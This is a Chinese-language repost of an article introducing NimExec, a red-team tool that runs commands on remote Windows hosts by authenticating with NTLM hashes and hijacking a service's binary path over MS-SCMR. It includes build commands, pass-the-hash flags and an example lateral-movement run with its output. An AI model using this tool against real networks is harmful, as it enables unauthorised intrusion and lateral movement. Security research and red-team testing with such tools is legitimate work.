NimExec是一款功能强大的无文件远程命令执行工具,该工具专为红队研究人员设计,使用Nim语言开发,基于服务控制管理器远程协议(MS-SCMR)实现其功能,可以帮助广大研究人员在目标网络系统中实现横向移动。
该工具可以修改LocalSystem运行的随机或给定服务的代码路径,以实现在目标设备上执行给定代码。执行完成后,该工具可以通过自定义的RPC数据包来恢复其初始状态。值得一提的是,该工具可以通过SMB2和svcctl命名管道来发送所有的数据包。
NimExec需要使用一个HTLM哈希来实现目标设备上的身份验证,然后通过手工制作的数据包和NTLM身份认证方法来完成身份验证过程。
由于所有需要的网络数据包都是手工制作的,并且不使用特定于操作系统的功能,因此通过使用Nim的交叉兼容性支持,NimExec可以在不同的操作系统中使用。
Nim语言环境
Windows 10/11
Windows Server 16/19/22
Ubuntu 20.04
由于该工具基于Nim语言开发,因此我们首先需要在本地设备上安装并配置好Nim执行环境。
接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
git clone https://github.com/frkngksl/NimExec.git
然后我们可以使用下列命令并通过Nimble安装该工具所需的Nim模块:
nimble install ptr_math nimcrypto hostname
代码编译
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
上述命令将使用不同的Garbage Collector,因为Nim的默认Garbage Collector会在服务搜索进程的过程中报SIGSEGV错误。
命令行参数 -v | --verbose 启用Verbose模式输出
-u | --username <Username> NTLM身份认证的用户名
-h | --hash <NTLM Hash> NTLM身份认证的NTLM密码哈希
-p | --password <Password> 明文密码
-t | --target <Target> 横向移动目标
-c | --command <Command> 要执行的命令
-d | --domain <Domain> NTLM身份认证域名
-s | --service <Service Name> 目标服务名称
--help 查看工具帮助信息
(右滑查看更多) 工具使用样例 test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:UsersPublictest.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________ ____ _____/ /________ | |
| | | || || | | | | || |`. .' /| || |
| | | || || | | | | | .-------------' `. `' .' .-------------'. '
| | | || || | | | | | '-.____...---. '. .' '-.____...---. '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:Windowssystem32svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
(右滑查看更多) 许可证协议 本项目的开发与发布遵循MIT开源许可证协议。
项目地址 NimExec:
https://github.com/frkngksl/NimExec
【 原文始发于微信公众号(FreeBuf):如何使用NimExec通过无文件命令执行实现横向移动
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论